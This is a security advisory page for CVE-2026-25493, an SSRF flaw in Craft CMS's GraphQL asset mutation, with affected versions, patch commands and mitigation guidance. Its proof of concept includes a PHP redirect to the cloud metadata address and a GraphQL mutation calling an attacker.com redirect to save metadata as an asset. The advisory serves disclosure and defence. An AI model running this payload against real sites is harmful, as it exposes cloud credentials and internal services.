CVE-2026-25493 — cms
Fix: craftcms/cms@0974055CVE-2026-25493 is a Server-Side Request Forgery (SSRF) vulnerability in craftcms/cms. A fix is available for craftcms/cms — see the affected versions and patch details below.
Craft has a SSRF in GraphQL Asset Mutation via HTTP Redirect
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25493.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
craftcms/cms🐘craftcms/cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
Proof of Concept
- Host a redirect script on your server (e.g.
redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
- The application validates
attacker.com(passes) - Guzzle follows the redirect to
169.254.169.254 - Cloud metadata is saved as an asset
Mitigation
- Disable redirects.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/cms | ≥ 5.0.0-RC1&&< 5.8.22 | 5.8.22composer require craftcms/cms:^5.8.22 |
| 🐘Packagist | craftcms/cms | ≥ 4.0.0-RC1&&< 4.16.18 | 4.16.18composer require craftcms/cms:^4.16.18 |
Affected Products
craft cmscraftcmsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/cms to 5.8.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25493 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-25493 in your dependencies?
Find it across Packagist, including transitive dependencies.